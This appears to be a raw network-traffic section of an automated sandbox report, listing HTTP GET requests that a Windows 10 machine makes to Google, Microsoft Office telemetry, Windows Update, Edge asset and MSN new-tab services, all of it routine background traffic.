Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=O4egRtPmcg3w6Cf&MD=n5k6Gc1T HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732733358994&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4c1f15923f004863b74adb5c0e280630&activityId=4c1f15923f004863b74adb5c0e280630&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0941BF85F38264F21CE2AAC1F2AB6567&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=39c5d9b9f6594d48ada9a641e7cc525e HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
